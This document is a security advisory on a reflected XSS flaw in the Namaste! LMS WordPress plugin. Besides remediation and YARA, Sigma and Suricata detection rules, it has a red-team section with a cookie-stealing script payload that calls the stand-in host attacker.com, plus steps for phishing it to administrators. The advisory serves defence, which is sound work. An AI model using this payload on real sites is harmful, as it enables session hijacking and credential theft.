CVE-2024-50407

Executive Summary

CVE-2024-50407 is a reflected Cross-Site Scripting (XSS) vulnerability in the WordPress plugin Namaste! LMS by Kibokolabs, affecting versions up to and including 2.6.2. The vulnerability stems from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript into a reflected response. This can lead to session hijacking, credential theft, or defacement within the context of the victim’s browser session. The CVSS score is 7.1 (High), and the EPSS probability is 0.0%, indicating low active exploitation in the wild. No public exploit code or patch is currently available, making this a high-priority unpatched risk for WordPress sites using this plugin.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository. The plugin is not managed through NPM, PyPI, Go, or Ruby ecosystems, but its inclusion in a WordPress site introduces supply chain risk. Administrators must verify the plugin’s integrity and consider removing it until a patch is released.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – Victim must click a crafted link.
• Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited modification possible.
• Availability (A): Low (L) – Limited service disruption.

Threat Level: High – Unpatched, with potential for phishing campaigns targeting WordPress admins.

Deep Dive & Mechanics

The vulnerability exists in the namaste-lms plugin’s handling of HTTP GET parameters. When a user visits a crafted URL containing malicious JavaScript in a parameter (e.g., ?message=<script>alert(1)</script>), the plugin reflects this input directly into the HTML response without proper sanitization or encoding. This is a classic reflected XSS flaw.

Root Cause: The plugin uses $_GET['message'] or similar variables in PHP and outputs them via echo or print without applying htmlspecialchars() or wp_kses().

Attack Vector: An attacker crafts a malicious link (e.g., https://target.com/?message=<script>alert(document.cookie)</script>) and distributes it via email, social media, or other channels. When a logged-in administrator clicks the link, the script executes in their browser, potentially stealing session cookies or performing actions on their behalf.

Vulnerable vs. Patched Code

Vulnerable Code (namaste-lms <= 2.6.2):

<?php
// In some template or handler file
$message = $_GET['message'];
echo "<div class='notice'>$message</div>";
?>

Patched Code (Hypothetical):

<?php
$message = isset($_GET['message']) ? sanitize_text_field($_GET['message']) : '';
echo "<div class='notice'>" . esc_html($message) . "</div>";
?>

The patched version uses sanitize_text_field() to strip tags and esc_html() to encode output, preventing script injection.

Exploitation & Lab Setup

Red Team

Prerequisites: A WordPress site with Namaste! LMS <= 2.6.2 installed and activated.

Exploitation Steps:

1. Identify a vulnerable parameter (e.g., message, error, success) by fuzzing the plugin’s pages.
2. Craft a payload: <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
3. URL-encode the payload and embed it in a link: https://target.com/?message=%3Cscript%3Efetch('https%3A%2F%2Fattacker.com%2Fsteal%3Fcookie%3D'%2Bdocument.cookie)%3C%2Fscript%3E
4. Send the link to a logged-in admin via phishing email.
5. Capture the cookie on your attacker-controlled server.

No public exploit code is available; the above is a conceptual demonstration.

Blue Team

Detection:

• Monitor web server logs for requests containing <script> tags in query parameters.
• Use WAF rules to block reflected XSS patterns (e.g., <script, onerror=, javascript:).
• Deploy Content Security Policy (CSP) headers to restrict script execution.

Hunting:

• Search for namaste-lms plugin files with $_GET or $_REQUEST usage without sanitization.
• Check for unusual message or error parameters in access logs.

Indicators of Compromise (IOCs)

• Network: HTTP requests with query strings containing <script>, onerror, alert, or document.cookie.
• Host: Modified plugin files (e.g., wp-content/plugins/namaste-lms/) with injected JavaScript.
• Logs: Repeated 200 responses to URLs with XSS payloads from a single IP.
• File: Suspicious entries in wp-content/uploads/ or wp-content/plugins/namaste-lms/ with obfuscated PHP.

Detection Engineering

YARA Rule

rule CVE_2024_50407_Namaste_LMS_XSS {
    meta:
        description = "Detects reflected XSS attempts against Namaste! LMS plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-50407"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/i
        $param_name = /[?&](message|error|success)=/
    condition:
        $param_name and $xss_payload
}

Sigma Rule

title: Reflected XSS Attempt Against Namaste! LMS
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with XSS payloads in query parameters targeting Namaste! LMS
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains:
            - '<script'
            - 'onerror='
            - 'javascript:'
        cs-uri-query|contains|all:
            - 'namaste-lms'
            - 'message='
    condition: selection
falsepositives:
    - Legitimate use of script tags in admin panels (rare)
level: high

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2024-50407 Reflected XSS in Namaste! LMS";
    flow:to_server,established;
    content:"namaste-lms"; http_uri;
    content:"message="; http_uri;
    pcre:"/<script[^>]*>.*?<\/script>/i";
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

1. Immediate: Disable or remove the Namaste! LMS plugin until a patch is released.
2. Short-term: Implement a Web Application Firewall (WAF) rule to block reflected XSS patterns.
3. Long-term: Monitor the vendor’s repository for updates. If no patch appears, consider migrating to an alternative LMS plugin.
4. Compensating Controls: Enforce Content Security Policy (CSP) headers with script-src 'self' and use HTTP-only cookies to mitigate session theft.

Valters IT – Securing digital ecosystems with precision.